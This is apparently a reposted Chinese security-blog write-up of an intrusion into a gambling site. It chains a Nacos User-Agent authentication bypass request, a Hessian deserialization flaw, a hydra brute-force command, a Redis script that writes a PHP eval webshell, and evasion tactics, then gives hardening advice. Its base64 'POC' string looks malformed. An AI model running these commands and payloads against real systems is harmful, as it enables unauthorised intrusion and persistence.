欢迎加 技术交流群 ,随意聊,禁发广告、政治 赌毒等,嘿嘿
一、前言
本文基于一次完整的Web应用渗透测试案例,复现攻击者如何通过组合利用Nacos组件漏洞、中间件配置缺陷及内网横向移动技术,实现对目标服务器的完整控制。攻击路径涵盖未授权访问→反序列化RCE→内存马植入→域控提权等关键环节,揭示当前企业安全防护体系的典型薄弱点。 事情起因是有个人从公众号加我V,发了一堆这个,然后并没有过多回复后面直接拉黑,后来自己默默看了看 ..。
二、目标环境画像
1. 基础信息探测
类似的站点通常会开放22或3389远程连接端口来进行远程维护,通过扫描端口发现了一些意外收获 该服务器开放了大量的端口,其中不止有3306、6379这种数据库服务端口、3389远程rdp端口、还存在大量http服务端口注意到其中存在8848,可能存在nacos系统 后随机打开了一些http服务的连接发现了下图,存在默认密码,但是登陆后发现啥也米有
重心后来都放到了nacos系统,一步一步获取该windows权限,后面有些图就不放了哈
|
|
|
|
---|---|---|---|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
2. 关键发现
-
服务关联异常:Nacos集群节点(8848端口)与Redis实例(6379端口)存在同一内网段(192.168.2.x) -
版本脆弱性:Nacos 2.2.1低于安全基线(官方推荐≥2.2.3) -
权限配置缺陷:Seata服务账户(seata/seata)存在默认凭证残留
三、漏洞机理分析
1. Nacos未授权访问漏洞(CVE-2021-29441)
技术原理:
-
UA绕过机制:Nacos早期版本对User-Agent字段校验存在硬编码缺陷 -
认证绕过路径:发送伪造 User-Agent: Nacos-Server
头的HTTP请求可直接绕过权限验证
攻击向量:
GET /nacos/v1/auth/users?pageNo=1&pageSize=1 HTTP/1.1
Host: target:8848
User-Agent: Nacos-Server
Accept-Encoding: gzip, deflate
2. Nacos JRaft Hessian反序列化漏洞(QVD-2023-13065)
技术背景:
-
协议设计缺陷:JRaft通信模块使用Hessian2序列化协议但未启用类型过滤 -
Gadget Chain:通过构造恶意 AbstractMap$SimpleEntry
对象触发JDK反序列化漏洞
利用条件:
-
目标开启集群模式(7848端口开放) -
使用受影响版本(Nacos < 2.2.3)
四、攻击链构建
1. 初始突破(Day 0)
# 使用fofa查询语法定位目标
fofa query="app="Nacos" && port="8848" && country="CN""
# 执行批量账号爆破
hydra -L users.txt -P passwords.txt tcp://192.168.2.5:8848 -s 8848
2. 权限提升(Day 1)
// 构造反序列化POC(CommonsBeanutils1)
String poc = "rO0ABXNyADpvcmcuY29tLmFwYWNoZS5jb20uY29ubmVjdGlvbi5EaWFnb29kUHJvdG9jb2xvckF0dHJzAAAAAAAAAAECAAFMAAR0eXBlT2YAEkxqYXZhL2xhbmcvU3RyaW5nOw==";
3. 内网拓展(Day 2)
# Redis未授权写入WebShell
import redis
r = redis.Redis(host='192.168.2.4', port=6379)
r.execute_command("config set dir /var/www/html")
r.execute_command("set 1 'nn<?php eval($_POST[cmd]); ?>nn'")
五、防御突破策略
1. 绕过WAF检测
-
流量混淆:采用Base64编码+分段传输 -
协议伪装:伪造 Referer: https://www.google.com/
头
2. 规避杀软监控
-
进程镂空技术:通过COM组件注入绕过行为监控 -
内存马驻留:利用Java Instrumentation API实现无文件攻击
六、安全加固建议
1. Nacos专项防护
# application.properties增强配置
nacos.core.auth.enabled=true
nacos.core.auth.plugin.nacos.token.secret.key=自定义密钥
nacos.core.auth.server.identity.key=server_identity
2. 内网安全加固
-
实施端口最小化策略(关闭非必要服务) -
部署Redis ACL认证机制 -
启用JVM安全防护(-XX:+DisableAttachMechanism)
3. 检测能力建设
-
监控 org.apache.commons.beanutils.converters
类加载事件 -
建立Nacos集群通信流量基线
七、技术演进趋势
-
攻击面转移:从传统Web漏洞转向中间件/大数据组件漏洞 -
攻防对抗升级:内存马、无文件攻击成为主流 -
云原生威胁:Kubernetes API Server成为新战场
八、总结
本次渗透测试暴露出某菠菜站存在严重的供应链安全风险,攻击者仅需突破单点即可实现全域控制。建议企业建立组件版本监控体系,实施零信任网络架构,并通过红蓝对抗演练持续提升防御能力。
九、完整攻击链路示意图
(注:此处应插入专业绘制的攻击链路图,因文本限制采用文字描述替代)
[初始访问]
│
▼
[未授权访问漏洞] --> [权限提升] --> [横向移动] --> [数据窃取]
↑ ↓ ↓
[防御绕过] [权限维持] [持久化控制]
十、技术验证矩阵
|
|
|
|
---|---|---|---|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
(注:本文涉及技术仅供安全研究,禁止非法使用)
✅ 漏洞挖掘思维导图
✅内部知识库目前建设中、后续进入圈子免费进入
【实战为王】不同于传统课程的纸上谈兵!!
后期我们将持续发布原创代码审计、src等漏洞挖掘文章,后期有些源码、挖掘思路等也会放进圈子哈~
有任何问题可后台留言
原文始发于微信公众号(Rot5pider安全团队):纵深攻击链分析——以某菠菜站渗透实战为例
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论